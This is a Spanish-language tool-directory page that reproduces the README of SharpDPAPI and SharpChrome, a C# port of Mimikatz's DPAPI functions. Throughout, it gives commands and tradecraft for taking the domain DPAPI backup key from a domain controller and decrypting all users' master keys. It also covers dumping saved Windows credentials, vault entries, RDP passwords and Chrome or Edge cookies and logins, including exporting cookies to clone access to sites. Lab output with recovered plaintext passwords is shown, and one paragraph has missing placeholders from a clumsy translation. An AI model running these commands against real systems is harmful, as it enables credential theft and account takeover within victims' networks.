Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
SharpDPAPI — SharpDPAPI es un port en C# de algunas funcionalidades DPAPI de Mimikatz. | Kitploit
Herramientas/GitHubGitHub/ghostpack/sharpdpapi
Descifrado de ContraseñasHerramientas de Cifrado/DescifradoMecanismos de PersistenciaExplotaciónExfiltración de DatosPost-ExplotaciónPruebas de PenetraciónRed TeamingTop en Mecanismos de Persistencia #8
1.4k2499hace 2 añosRevisado por Kitploit

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir
GitHub
ghostpack/sharpdpapi

SharpDPAPI

SharpDPAPI es un port en C# de algunas funcionalidades DPAPI de Mimikatz.

Ver Repositorio

SharpDPAPI


SharpDPAPI es un port a C# de algunas funcionalidades de DPAPI del proyecto Mimikatz de @gentilkiwi.

No se me ocurrió esta lógica, es simplemente un port desde Mimikatz para comprender mejor el proceso y operacionalizarlo para que se ajuste a nuestro flujo de trabajo.

El subproyecto SharpChrome es una adaptación del trabajo de @gentilkiwi y @djhohnstein, específicamente su proyecto SharpChrome. Sin embargo, esta versión de SharpChrome utiliza una versión diferente de la biblioteca SQL para C# que admite apertura sin bloqueo. SharpChrome se crea como un proyecto separado dentro de SharpDPAPI debido al tamaño de la biblioteca SQLite utilizada.

Tanto Chrome como los navegadores Edge más nuevos basados en Chromium se pueden evaluar con SharpChrome.

SharpChrome también utiliza una versión minimizada del código BCrypt P/Invoke de @AArnott, publicado bajo la licencia MIT.

Si no estás familiarizado con DPAPI, consulta esta publicación para obtener más información de contexto. Para más información sobre Credenciales y Bóvedas en relación con DPAPI, consulta la entrada wiki de Benjamin sobre el tema.

@harmj0y es el autor principal de este port.

SharpDPAPI está licenciado bajo la licencia BSD 3-Clause.

Tabla de Contenidos

  • SharpDPAPI
    • Tabla de Contenidos
    • Antecedentes
      • Uso desde la Línea de Comandos de SharpDPAPI
      • Uso desde la Línea de Comandos de SharpChrome
      • Uso Operativo
        • SharpDPAPI
        • SharpChrome
    • Comandos de SharpDPAPI
      • Triaje de Usuario
        • masterkeys
        • credentials
        • vaults
        • rdg
        • keepass
        • certificates
        • triage
      • Triaje de Máquina
        • machinemasterkeys
        • machinecredentials
        • machinevaults
        • certificates /machine
        • machinetriage
      • Varios
        • ps
        • blob
        • backupkey
        • search
        • SCCM
    • Comandos de SharpChrome
      • logins
      • cookies
      • statekeys
      • backupkey
    • Instrucciones de Compilación
      • Apuntando a otras versiones de .NET
      • Nota al margen: Ejecutar SharpDPAPI a través de PowerShell
        • Nota al margen de la nota al margen: Ejecutar SharpDPAPI a través de PSRemoting

Antecedentes

Uso desde la Línea de Comandos de SharpDPAPI

root@kitploit:~
  __                 _   _       _ ___
 (_  |_   _. ._ ._  | \ |_) /\  |_) |
 __) | | (_| |  |_) |_/ |  /--\ |  _|_
                |
  v1.20.0

Obtener la clave de respaldo DPAPI de un controlador de dominio, especificando opcionalmente un DC y un archivo de salida:

  SharpDPAPI backupkey [/nowrap] [/server:SERVER.dominio] [/file:key.pvk]


El comando *search* buscará posibles blobs DPAPI en el registro, archivos, carpetas y blobs base64:

    search /type:registry [/path:HKLM\ruta\a\clave] [/showErrors]
    search /type:folder /path:C:\ruta\a\carpeta [/maxBytes:<numDeBytes>] [/showErrors]
    search /type:file /path:C:\ruta\a\archivo [/maxBytes:<numDeBytes>]
    search /type:base64 [/base:<cadena base64>]


Triaje de Máquina/SYSTEM:

    machinemasterkeys       -   triaje de todos los archivos de clave maestra de máquina accesibles (se eleva a SYSTEM para recuperar el secreto DPAPI_SYSTEM de LSA)
    machinecredentials      -   usa 'machinemasterkeys' y luego triaje de archivos de Credenciales de máquina
    machinevaults           -   usa 'machinemasterkeys' y luego triaje de Bóvedas de máquina
    machinetriage           -   ejecuta los comandos 'machinecredentials' y 'machinevaults'


Triaje de Usuario:

    Argumentos para el comando 'masterkeys':

        /target:ARCHIVO/carpeta   -   triaje de una clave maestra específica, o una carpeta llena de claves maestras (de lo contrario, triaje de claves maestras locales)
        /pvk:BASE64...          -   usa un archivo de clave privada de dominio DPAPI codificado en base64 para descifrar primero las claves maestras de usuario accesibles
        /pvk:key.pvk            -   usa un archivo de clave privada de dominio DPAPI para descifrar primero las claves maestras de usuario accesibles
        /password:X             -   descifra las claves maestras del usuario objetivo usando una contraseña en texto plano (funciona de forma remota)
        /ntlm:X                 -   descifra las claves maestras del usuario objetivo usando un hash NTLM (funciona de forma remota)
        /credkey:X              -   descifra las claves maestras del usuario objetivo usando una credkey DPAPI (SHA1 de dominio o local, funciona de forma remota)
        /rpc                    -   descifra las claves maestras del usuario objetivo solicitando al controlador de dominio que lo haga
        /server:SERVIDOR          -   triaje de un servidor remoto, asumiendo acceso de administrador
        /hashes                 -   genera 'hashes' del archivo de clave maestra de usuario en formato JTR/Hashcat (sin descifrado)


    Argumentos para los comandos credentials|vaults|rdg|keepass|triage|blob|ps:

        Descifrado:
            /unprotect          -   fuerza el uso de CryptUnprotectData() para los comandos 'ps', 'rdg' o 'blob'
            /pvk:BASE64...      -   usa un archivo de clave privada de dominio DPAPI codificado en base64 para descifrar primero las claves maestras de usuario accesibles
            /pvk:key.pvk        -   usa un archivo de clave privada de dominio DPAPI para descifrar primero las claves maestras de usuario accesibles
            /password:X         -   descifra las claves maestras del usuario objetivo usando una contraseña en texto plano (funciona de forma remota)
            /ntlm:X             -   descifra las claves maestras del usuario objetivo usando un hash NTLM (funciona de forma remota)
            /credkey:X          -   descifra las claves maestras del usuario objetivo usando una credkey DPAPI (SHA1 de dominio o local, funciona de forma remota)
            /rpc                -   descifra las claves maestras del usuario objetivo solicitando al controlador de dominio que lo haga
            GUID1:SHA1 ...      -   usa una o más claves maestras GUID:SHA1 para descifrado
            /mkfile:ARCHIVO        -   usa un archivo con una o más claves maestras GUID:SHA1 para descifrado

        Objetivo:
            /target:ARCHIVO/carpeta -   triaje de una ubicación específica de archivo 'Credentials', '.rdg|RDCMan.settings', 'blob' o 'ps', o de carpeta 'Vault'
            /server:SERVIDOR      -   triaje de un servidor remoto, asumiendo acceso de administrador
                                    Nota: debe usarse con /pvk:CLAVE o /password:X
                                    Nota: no aplicable a los comandos 'blob' o 'ps'


Triaje de Certificados:

    Argumentos para el comando 'certificates':
        /showall                                        -   muestra todos los archivos de clave privada descifrados, no solo aquellos vinculados a certificados instalados (lo predeterminado)
        /machine                                        -   usa el almacén de máquina local para el triaje de certificados
        /mkfile | /target                               -   para triaje con /machine
        [todos los argumentos de descifrado del Triaje de Usuario anterior]


Nota: en la mayoría de los casos, solo usa *triage* si estás apuntando a secretos DPAPI de usuario y *machinetriage* si vas tras secretos DPAPI de SYSTEM.
      Estas funciones envuelven todas las demás funciones aplicables que se pueden ejecutar automáticamente.

Uso desde la Línea de Comandos de SharpChrome

root@kitploit:~
  __                 _
 (_  |_   _. ._ ._  /  |_  ._ _  ._ _   _
 __) | | (_| |  |_) \_ | | | (_) | | | (/_ 
                |
  v1.9.0


Obtener la clave de respaldo DPAPI de un controlador de dominio, especificando opcionalmente un DC y un archivo de salida:

  SharpChrome backupkey [/nowrap] [/server:SERVER.dominio] [/file:key.pvk]


Argumentos globales para los comandos 'cookies', 'logins' y 'statekeys':

    Descifrado:
        /unprotect          -   fuerza el uso de CryptUnprotectData() (predeterminado para ejecución sin privilegios)
        /pvk:BASE64...      -   usa un archivo de clave privada de dominio DPAPI codificado en base64 para descifrar primero las claves maestras de usuario accesibles
        /pvk:key.pvk        -   usa un archivo de clave privada de dominio DPAPI para descifrar primero las claves maestras de usuario accesibles
        /password:X         -   descifra las claves maestras del usuario objetivo usando una contraseña en texto plano (funciona de forma remota)
        /ntlm:X             -   descifra las claves maestras del usuario objetivo usando un hash NTLM (funciona de forma remota)
        /prekey:X           -   descifra las claves maestras del usuario objetivo usando una prekey DPAPI (SHA1 de dominio o local, funciona de forma remota)
        /rpc                -   descifra las claves maestras del usuario objetivo solicitando al controlador de dominio que lo haga
        GUID1:SHA1 ...      -   usa una o más claves maestras GUID:SHA1 para descifrado
        /statekey:X         -   una clave AES de estado descifrada (del comando 'statekey')

    Objetivo:
        /target:ARCHIVO        -   triaje de una ubicación específica de archivo 'Cookies', 'Login Data' o 'Local State'
        /target:C:\Usuarios\X\ -   triaje de una carpeta de usuario específica para cualquier comando especificado
        /server:SERVIDOR      -   triaje de un servidor remoto, asumiendo acceso de administrador (nota: debe usarse con /pvk:CLAVE)
        /browser:X          -   triaje de 'chrome' (predeterminado), 'edge' (basado en Chromium) o 'slack'

    Salida:
        /format:X           -   visualización 'csv' (predeterminado) o 'table'
        /showall            -   muestra entradas de Login Data con contraseñas nulas y Cookies caducadas en lugar de filtrarlas (predeterminado)
        /consoleoutfile:X   -   envía toda la salida de la consola a un archivo en disco


Argumentos específicos del comando 'cookies':

        /cookie:"REGEX"     -   solo devuelve cookies donde el nombre de la cookie coincide con la expresión regular proporcionada
        /url:"REGEX"        -   solo devuelve cookies donde la URL de la cookie coincide con la expresión regular proporcionada
        /format:json        -   genera los valores de las cookies en un formato JSON de importación de EditThisCookie. ¡Mejor cuando se usa con una expresión regular!
        /setneverexpire     -   establece la caducidad de las cookies generadas a ahora + 100 años (para salida json)

Uso Operativo

SharpDPAPI

Uno de los objetivos de SharpDPAPI es operacionalizar el trabajo de Benjamin sobre DPAPI de una manera que se ajuste a nuestro flujo de trabajo.

El uso exacto del conjunto de herramientas dependerá de en qué fase de un compromiso te encuentres. En general, esto se divide en "¿he comprometido el dominio o no?".

Si se han obtenido privilegios de administrador de dominio (o equivalentes), la clave de respaldo DPAPI del dominio se puede recuperar con el comando backupkey (o con Mimikatz). Esta clave privada de dominio nunca cambia y puede descifrar cualquier clave maestra DPAPI para usuarios del dominio. Esto significa que, dada una clave de respaldo DPAPI del dominio, un atacante puede descifrar claves maestras para cualquier usuario del dominio que luego se pueden usar para descifrar cualquier Bóveda/Credencial/Inicios de Sesión de Chrome/otros blobs DPAPI/etc. La clave obtenida del comando backupkey se puede usar con los comandos masterkeys, credentials, vaults, rdg o triage.

Si no se han alcanzado privilegios de DA, usar el comando sekurlsa::dpapi de Mimikatz recuperará las asignaciones {GUID}:SHA1 de las claves maestras DPAPI de cualquier clave maestra cargada (de usuario y SYSTEM) en un sistema determinado (consejo: ejecutar dpapi::cache después de la extracción de claves te dará una buena tabla). Si cambias estas claves a un formato tipo {GUID1}:SHA1 {GUID2}:SHA1..., se pueden proporcionar a los comandos credentials, vaults, rdg o triage. Esto permite hacer triaje de todos los archivos de Credenciales/Bóvedas en un sistema para cualquier usuario que haya iniciado sesión actualmente, sin tener que descifrar archivo por archivo.

Alternativamente, si puedes proporcionar la contraseña, el hash NTLM o la prekey DPAPI de un usuario objetivo para un comando de usuario con /password:X, /ntlm:X o /prekey:X respectivamente. El campo dpapi de la salida de sekurlsa::msv de Mimikatz para usuarios de dominio se puede usar como /prekey, mientras que el campo sha1 de la salida de sekurlsa::msv se puede usar como /prekey para usuarios locales.

Para descifrar archivos RDG/RDCMan.settings con el comando rdg, el indicador /unprotect usará CryptUnprotectData() para descifrar cualquier contraseña RDP guardada, si el comando se ejecuta desde el contexto de usuario que guardó las contraseñas. Esto se puede hacer desde un contexto sin privilegios, sin necesidad de tocar LSASS. Para saber por qué este enfoque no se usa para credenciales/bóvedas, consulta la documentación de Benjamin aquí.

Para el triaje DPAPI específico de máquina, los comandos machinemasterkeys|machinecredentials|machinevaults|machinetriage harán el equivalente de máquina del triaje DPAPI de usuario. Si se está en un contexto elevado (es decir, necesitas derechos administrativos locales), SharpDPAPI se elevará a privilegios de SYSTEM para recuperar el secreto "DPAPI_SYSTEM" de LSA, que luego se usa para descifrar cualquier clave maestra DPAPI de máquina descubierta. Estas claves luego se usan como tablas de búsqueda para credenciales/bóvedas de máquina, etc.

Para más información ofensiva sobre DPAPI, consulta aquí.

SharpChrome

SharpChrome es una implementación específica de Chrome de SharpDPAPI capaz de descifrar/triar cookies e inicios de sesión. Se crea como un proyecto separado dentro de SharpDPAPI debido al tamaño de la biblioteca SQLite utilizada.

Dado que los datos de Cookies/Inicios de Sesión de Chrome se guardan sin CRYPTPROTECT_SYSTEM, CryptUnprotectData() vuelve a estar disponible. Si SharpChrome se ejecuta desde un contexto sin privilegios, intentará descifrar cualquier inicio de sesión/cookie para el usuario actual usando CryptUnprotectData(). También se puede usar una /pvk:[BASE64|file.pvk], una tabla de búsqueda {GUID}:SHA1, /password:X, /ntlm:X, /prekey:X o /mkfile:ARCHIVO de valores {GUID}:SHA1 para descifrar valores. Además, la biblioteca SQL para C# utilizada (con algunas modificaciones) admite apertura sin bloqueo, lo que significa que Chrome no tiene que cerrarse/los archivos objetivo no tienen que copiarse a otra ubicación.

Alternativamente, si puedes proporcionar la contraseña, el hash NTLM o la prekey DPAPI de un usuario objetivo para un comando de usuario con /password:X, /ntlm:X o /prekey:X respectivamente. El campo dpapi de la salida de sekurlsa::msv de Mimikatz para usuarios de dominio se puede usar como /prekey, mientras que el campo sha1 de la salida de sekurlsa::msv se puede usar como /prekey para usuarios locales.

Si Chrome es versión 80+, una clave AES de estado se almacena en AppData\Local\Google\Chrome\User Data\Local State - esta clave está protegida con DPAPI, por lo que podemos usar tablas de búsqueda de CryptUnprotectData()/pvk/clave maestra para descifrarla. Esta clave AES luego se usa para proteger nuevas entradas de cookies y datos de inicio de sesión. Este también es el proceso cuando se especifica /browser:edge o /browser:brave, para el triaje de navegadores Edge basados en Chromium más nuevos.

Por defecto, las cookies y los inicios de sesión se muestran como csv; esto se puede cambiar con /format:table para salida en tabla y /format:json específicamente para cookies. La opción json genera las cookies en un formato json que se puede importar en la extensión de Chrome EditThisCookie para una reutilización sencilla.

El comando cookies también tiene argumentos /cookie:REGEX y /url:REGEX para devolver solo nombres de cookies o URLs que coincidan con la expresión regular proporcionada. Esto es útil con /format:json para clonar fácilmente el acceso a sitios específicos.

Se pueden especificar archivos específicos de cookies/inicios de sesión/statekey con /target:X, y se puede especificar una carpeta de usuario con /target:C:\Usuarios\USUARIO\ para cualquier comando de triaje.

Comandos de SharpDPAPI

Triaje de Usuario

masterkeys

El comando masterkeys buscará cualquier archivo de clave maestra de usuario legible y los descifrará usando una clave de respaldo DPAPI de dominio proporcionada. Devolverá un conjunto de asignaciones de clave maestra {GUID}:SHA1.

/password:X se puede usar para descifrar las claves maestras actuales de un usuario. Ten en cuenta que para máquinas unidas a un dominio, la contraseña se puede proporcionar en formato de texto plano o NTLM. Si también se proporciona /target con /password, también se debe especificar el SID de dominio completo del usuario /sid:X.

La clave de respaldo del dominio puede estar en forma base64 (/pvk:BASE64...) o en forma de archivo (/pvk:key.pvk).

root@kitploit:~
C:\Temp>SharpDPAPI.exe masterkeys /pvk:key.pvk

  __                 _   _       _ ___
 (_  |_   _. ._ ._  | \ |_) /\  |_) |
 __) | | (_| |  |_) |_/ |  /--\ |  _|_
                |
  v1.2.0


[*] Acción: Triaje de Archivos de Clave Maestra de Usuario

[*] Clave Maestra Encontrada : C:\Users\admin\AppData\Roaming\Microsoft\Protect\S-1-5-21-1473254003-2681465353-4059813368-1000\28678d89-678a-404f-a197-f4186315c4fa
[*] Clave Maestra Encontrada : C:\Users\harmj0y\AppData\Roaming\Microsoft\Protect\S-1-5-21-883232822-274137685-4173207997-1111\3858b304-37e5-48aa-afa2-87aced61921a
...(snip)...

[*] Caché de claves maestras de usuario:

{42e95117-ff5f-40fa-a6fc-87584758a479}:4C802894C566B235B7F34B011316...(snip)...
...(snip)...

Si no se especifica /password o /pvk, puedes pasar el indicador /hashes para volcar los hashes de la clave maestra en formato John/Hashcat. En este modo, los hashes se imprimen en el formato {GUID}:DPAPImk.

La clave Preferred también se analiza para resaltar la clave maestra preferida actual, de modo que no se desperdicie esfuerzo descifrando claves antiguas.

root@kitploit:~
C:\Temp>SharpDPAPI.exe masterkeys /hashes

  __                 _   _       _ ___
 (_  |_   _. ._ ._  | \ |_) /\  |_) |
 __) | | (_| |  |_) |_/ |  /--\ |  _|_
                |
  v1.11.3


[*] Acción: Triaje de Archivo de Clave Maestra DPAPI de Usuario

[*] Se volcarán los hashes de la clave maestra de usuario

[*] Clave Maestra Encontrada : C:\Users\admin\AppData\Roaming\Microsoft\Protect\S-1-5-21-1473254003-2681465353-4059813368-1000\28678d89-678a-404f-a197-f4186315c4fa
[*] Clave Maestra Encontrada : C:\Users\harmj0y\AppData\Roaming\Microsoft\Protect\S-1-5-21-883232822-274137685-4173207997-1111\3858b304-37e5-48aa-afa2-87aced61921a
...(snip)...

[*] Claves maestras preferidas:

C:\Users\admin\AppData\Roaming\Microsoft\Protect\S-1-5-21-1473254003-2681465353-4059813368-1000\28678d89-678a-404f-a197-f4186315c4fa
C:\Users\harmj0y\AppData\Roaming\Microsoft\Protect\S-1-5-21-883232822-274137685-4173207997-1111\3858b304-37e5-48aa-afa2-87aced61921a


[*] Hashes de clave maestra de usuario:

{42e95117-ff5f-40fa-a6fc-87584758a479}:$DPAPImk$1*3*S-1-5-21-1473254003-2681465353-4059813368-1000*des3*sha1*18000*09c49e9af9...(snip)...

credentialsEl comando buscará archivos de credenciales y, o bien a) los descifrará con cualquier clave maestra "{GUID}:SHA1" proporcionada, b) con un de una o más asignaciones de claves maestras {GUID}:SHA1, c) usará una clave de respaldo de DPAPI de dominio proporcionada ( o ) para descifrar primero las claves maestras de los usuarios (como en ), o d) una para descifrar las claves maestras de los usuarios, que luego se utilizan como tabla de descifrado de búsqueda. Las asignaciones de GUID de DPAPI se pueden recuperar con el comando de Mimikatz.

Se puede especificar un archivo de credenciales específico (o una carpeta de credenciales) con /target:ARCHIVO o /target:C:\Carpeta\. Si se especifica un archivo, se requieren valores {GUID}:SHA1, y si se especifica una carpeta, se deben proporcionar a) valores {GUID}:SHA1 o b) la carpeta debe contener claves maestras DPAPI y se debe proporcionar una clave de respaldo de dominio /pvk.

Si se ejecuta desde un contexto elevado, se procesarán los archivos de credenciales de TODOS los usuarios; de lo contrario, solo se procesarán los archivos de credenciales del usuario actual.

Usando asignaciones de claves maestras {GUID}:SHA1 de dominio:

root@kitploit:~
C:\Temp>SharpDPAPI.exe credentials {44ca9f3a-9097-455e-94d0-d91de951c097}:9b049ce6918ab89937687...(snip)... {feef7b25-51d6-4e14-a52f-eb2a387cd0f3}:f9bc09dad3bc2cd00efd903...(snip)...

  __                 _   _       _ ___
 (_  |_   _. ._ ._  | \ |_) /\  |_) |
 __) | | (_| |  |_) |_/ |  /--\ |  _|_
                |
  v1.2.0


[*] Acción: Clasificación de credenciales DPAPI de usuario

[*] Procesando credenciales para TODOS los usuarios


Carpeta       : C:\Users\harmj0y\AppData\Local\Microsoft\Credentials\

  ArchivoCred           : 48C08A704ADBA03A93CD7EC5B77C0EAB

    guidClaveMaestra    : {885342c6-028b-4ecf-82b2-304242e769e0}
    tamaño             : 436
    banderas            : 0x20000000 (CRYPTPROTECT_SYSTEM)
    algHash/algCrypt : 32772/26115
    descripción      : Datos de credencial local

    ÚltimaEscritura      : 1/22/2019 2:44:40 AM
    NombreObjetivo       : Dominio:objetivo=TERMSRV/10.4.10.101
    AliasObjetivo      :
    Comentario          :
    NombreUsuario         : DOMINIO\usuario
    Credencial       : ¡Contraseña!

  ...(snip)...

Usando una clave de respaldo DPAPI de dominio para descifrar primero las claves maestras detectables:

root@kitploit:~
C:\Temp>SharpDPAPI.exe credentials /pvk:HvG1sAAAAAABAAAAAAAAAAAAAAC...(snip)...

  __                 _   _       _ ___
 (_  |_   _. ._ ._  | \ |_) /\  |_) |
 __) | | (_| |  |_) |_/ |  /--\ |  _|_
                |
  v1.2.0


[*] Acción: Clasificación de credenciales DPAPI de usuario

[*] ¡Usando una clave de respaldo DPAPI de dominio para procesar claves maestras para asignaciones de claves de descifrado!

[*] Caché de claves maestras de usuario:

{42e95117-ff5f-40fa-a6fc-87584758a479}:4C802894C566B235B7F34B011316E94CC4CE4665
...(snip)...

[*] Procesando credenciales para TODOS los usuarios


Carpeta       : C:\Users\harmj0y\AppData\Local\Microsoft\Credentials\

  ArchivoCred           : 48C08A704ADBA03A93CD7EC5B77C0EAB

    guidClaveMaestra    : {885342c6-028b-4ecf-82b2-304242e769e0}
    tamaño             : 436
    banderas            : 0x20000000 (CRYPTPROTECT_SYSTEM)
    algHash/algCrypt : 32772/26115
    descripción      : Datos de credencial local

    ÚltimaEscritura      : 1/22/2019 2:44:40 AM
    NombreObjetivo       : Dominio:objetivo=TERMSRV/10.4.10.101
    AliasObjetivo      :
    Comentario          :
    NombreUsuario         : DOMINIO\usuario
    Credencial       : ¡Contraseña!

...(snip)...

vaults

El comando vaults buscará bóvedas y, o bien a) las descifrará con cualquier clave maestra "{GUID}:SHA1" proporcionada, b) con un /mkfile:ARCHIVO de una o más asignaciones de claves maestras {GUID}:SHA1, c) usará una clave de respaldo DPAPI de dominio proporcionada (/pvk:BASE64... o /pvk:clave.pvk) para descifrar primero las claves maestras de los usuarios (como en masterkeys), o d) una /contraseña:X para descifrar las claves maestras de los usuarios, que luego se utilizan como tabla de descifrado de búsqueda. Las asignaciones de GUID de DPAPI se pueden recuperar con el comando sekurlsa::dpapi de Mimikatz.

La carpeta Policy.vpol en la carpeta de la bóveda se descifra con cualquier clave DPAPI proporcionada para recuperar las claves de descifrado AES asociadas, que luego se utilizan para descifrar cualquier archivo .vcrd asociado.

Se puede especificar una carpeta de bóveda específica con /target:C:\Carpeta\. En este caso, se deben proporcionar a) valores {GUID}:SHA1 o b) la carpeta debe contener claves maestras DPAPI y se debe proporcionar una clave de respaldo de dominio /pvk.

Usando asignaciones de claves maestras {GUID}:SHA1 de dominio:

root@kitploit:~
C:\Temp>SharpDPAPI.exe vaults {44ca9f3a-9097-455e-94d0-d91de951c097}:9b049ce6918ab89937687...(snip)... {feef7b25-51d6-4e14-a52f-eb2a387cd0f3}:f9bc09dad3bc2cd00efd903...(snip)...
  __                 _   _       _ ___
 (_  |_   _. ._ ._  | \ |_) /\  |_) |
 __) | | (_| |  |_) |_/ |  /--\ |  _|_
                |
  v1.2.0


[*] Acción: Clasificación de bóvedas DPAPI de usuario

[*] Procesando bóvedas para TODOS los usuarios


[*] Procesando carpeta de bóveda: C:\Users\harmj0y\AppData\Local\Microsoft\Vault\4BF4C442-9B8A-41A0-B380-DD4A704DDB28

  IDBóveda            : 4bf4c442-9b8a-41a0-b380-dd4a704ddb28
  Nombre               : Credenciales web
    guidClaveMaestra    : {feef7b25-51d6-4e14-a52f-eb2a387cd0f3}
    tamaño             : 240
    banderas            : 0x20000000 (CRYPTPROTECT_SYSTEM)
    algHash/algCrypt : 32772/26115
    descripción      :
    clave aes128       : EDB42294C0721F2F1638A40F0CD67CD8
    clave aes256       : 84CD64B5F438B8B9DA15238A5CFA418C04F9BED6B4B4CCAC9705C36C65B5E793

    ÚltimaEscritura      : 10/12/2018 12:10:42 PM
    NombreDescriptivo     : Internet Explorer
    Identidad         : admin
    Recurso         : https://10.0.0.1/
    Autenticador    : ¡Contraseña!

...(snip)...

Usando una clave de respaldo DPAPI de dominio para descifrar primero las claves maestras detectables:

root@kitploit:~
C:\Temp>SharpDPAPI.exe credentials /pvk:HvG1sAAAAAABAAAAAAAAAAAAAAC...(snip)...
  __                 _   _       _ ___
 (_  |_   _. ._ ._  | \ |_) /\  |_) |
 __) | | (_| |  |_) |_/ |  /--\ |  _|_
                |
  v1.2.0


[*] Acción: Clasificación de bóvedas DPAPI

[*] ¡Usando una clave de respaldo DPAPI de dominio para procesar claves maestras para asignaciones de claves de descifrado!

[*] Caché de claves maestras de usuario:

{42e95117-ff5f-40fa-a6fc-87584758a479}:4C802894C566B235B7F34B011316E94CC4CE4665
...(snip)...

[*] Procesando bóvedas para TODOS los usuarios


[*] Procesando carpeta de bóveda: C:\Users\harmj0y\AppData\Local\Microsoft\Vault\4BF4C442-9B8A-41A0-B380-DD4A704DDB28

  IDBóveda            : 4bf4c442-9b8a-41a0-b380-dd4a704ddb28
  Nombre               : Credenciales web
    guidClaveMaestra    : {feef7b25-51d6-4e14-a52f-eb2a387cd0f3}
    tamaño             : 240
    banderas            : 0x20000000 (CRYPTPROTECT_SYSTEM)
    algHash/algCrypt : 32772/26115
    descripción      :
    clave aes128       : EDB42294C0721F2F1638A40F0CD67CD8
    clave aes256       : 84CD64B5F438B8B9DA15238A5CFA418C04F9BED6B4B4CCAC9705C36C65B5E793

    ÚltimaEscritura      : 10/12/2018 12:10:42 PM
    NombreDescriptivo     : Internet Explorer
    Identidad         : admin
    Recurso         : https://10.0.0.1/
    Autenticador    : ¡Contraseña!

...(snip)...

Usando una clave de respaldo DPAPI de dominio con una carpeta especificada (es decir, clasificación "sin conexión"):

root@kitploit:~
C:\Temp>SharpDPAPI.exe vaults /target:C:\Temp\test\ /pvk:HvG1sAAAAAABAAAAAAAAAAAAAAC...(snip)...

  __                 _   _       _ ___
 (_  |_   _. ._ ._  | \ |_) /\  |_) |
 __) | | (_| |  |_) |_/ |  /--\ |  _|_
                |
  v1.2.0


[*] Acción: Clasificación de bóvedas DPAPI de usuario

[*] ¡Usando una clave de respaldo DPAPI de dominio para procesar claves maestras para asignaciones de claves de descifrado!

[*] Caché de claves maestras de usuario:

{42e95117-ff5f-40fa-a6fc-87584758a479}:4C802894C566B235B7F34B011316E94CC4CE4665
...(snip)...

[*] Carpeta de bóveda objetivo: C:\Temp\test\


[*] Procesando carpeta de bóveda: C:\Temp\test\

  IDBóveda            : 4bf4c442-9b8a-41a0-b380-dd4a704ddb28
  Nombre               : Credenciales web
    guidClaveMaestra    : {feef7b25-51d6-4e14-a52f-eb2a387cd0f3}
    tamaño             : 240
    banderas            : 0x20000000 (CRYPTPROTECT_SYSTEM)
    algHash/algCrypt : 32772/26115
    descripción      :
    clave aes128       : EDB42294C0721F2F1638A40F0CD67CD8
    clave aes256       : 84CD64B5F438B8B9DA15238A5CFA418C04F9BED6B4B4CCAC9705C36C65B5E793

    ÚltimaEscritura      : 3/20/2019 6:03:50 AM
    NombreDescriptivo     : Internet Explorer
    Identidad         : account
    Recurso         : http://www.abc.com/
    Autenticador    : contraseña

rdg

El comando rdg buscará archivos RDCMan.settings para el usuario actual (o si está elevado, para todos los usuarios) y, o bien a) los descifrará con cualquier clave maestra "{GUID}:SHA1" proporcionada, b) con un /mkfile:ARCHIVO de una o más asignaciones de claves maestras {GUID}:SHA1, c) usará una clave de respaldo DPAPI de dominio proporcionada (/pvk:BASE64... o /pvk:clave.pvk) para descifrar primero las claves maestras de los usuarios (como en masterkeys), o d) una /contraseña:X para descifrar las claves maestras de los usuarios que luego se utilizan como tabla de descifrado de búsqueda. Las asignaciones de GUID de DPAPI se pueden recuperar con el comando sekurlsa::dpapi de Mimikatz.

El indicador /unprotect usará CryptUnprotectData() para descifrar cualquier contraseña RDP guardada, si el comando se ejecuta desde el contexto del usuario que guardó las contraseñas. Esto se puede hacer desde un contexto no privilegiado, sin necesidad de tocar LSASS. Para saber por qué este enfoque no se utiliza para credenciales/bóvedas, consulte la documentación de Benjamin aquí.

Se puede especificar un archivo RDCMan.settings específico, un archivo .RDC (o una carpeta de archivos .RDG) con /target:ARCHIVO o /target:C:\Carpeta\. Si se especifica un archivo, se requieren valores {GUID}:SHA1 (o /unprotect), y si se especifica una carpeta, se deben proporcionar a) valores {GUID}:SHA1 o b) la carpeta debe contener claves maestras DPAPI y se debe proporcionar una clave de respaldo de dominio /pvk.

Este comando descifrará cualquier información de contraseña guardada tanto del archivo RDCMan.settings como de cualquier archivo .RDG referenciado por el archivo RDCMan.settings.

Usando /unprotect para descifrar cualquier contraseña encontrada:

root@kitploit:~
C:\Temp>SharpDPAPI.exe rdg /unprotect

  __                 _   _       _ ___
 (_  |_   _. ._ ._  | \ |_) /\  |_) |
 __) | | (_| |  |_) |_/ |  /--\ |  _|_
                |
  v1.3.0


[*] Acción: Clasificación RDG

[*] Usando CryptUnprotectData() para descifrar contraseñas RDG

[*] Procesando archivos de configuración de RDCMan para el usuario actual

    ArchivoRDCMan    : C:\Users\harmj0y\AppData\Local\Microsoft\Remote Desktop Connection Manager\RDCMan.settings
    Acceso      : 5/9/2019 11:52:58 AM
    Modificado      : 5/9/2019 11:52:58 AM
    Servidor reciente : test\primary.testlab.local

        Perfiles de credenciales

          Nombre de perfil : testprofile
            NombreUsuario   : testlab.local\dfm
            Contraseña   : Password123!

        Credenciales de inicio de sesión predeterminadas

          Nombre de perfil : Custom
            NombreUsuario   : TESTLAB\harmj0y
            Contraseña   : Password123!

      C:\Users\harmj0y\Documents\test.rdg

        Servidores

          Nombre         : secondary.testlab.local

          Nombre         : primary.testlab.local
          Nombre de perfil : Custom
            NombreUsuario   : TESTLAB\dfm.a
            Contraseña   : Password123!

Usando asignaciones de claves maestras {GUID}:SHA1 de dominio:

root@kitploit:~
C:\Temp>SharpDPAPI.exe rdg {8abc35b1-b718-4a86-9781-7fd7f37101dd}:ae349cdd3a230f5e04f70fd02be69e2e71f1b017

  __                 _   _       _ ___
 (_  |_   _. ._ ._  | \ |_) /\  |_) |
 __) | | (_| |  |_) |_/ |  /--\ |  _|_
                |
  v1.3.0


[*] Acción: Clasificación RDG

[*] Usando CryptUnprotectData() para descifrar contraseñas RDG

[*] Procesando archivos de configuración de RDCMan para el usuario actual

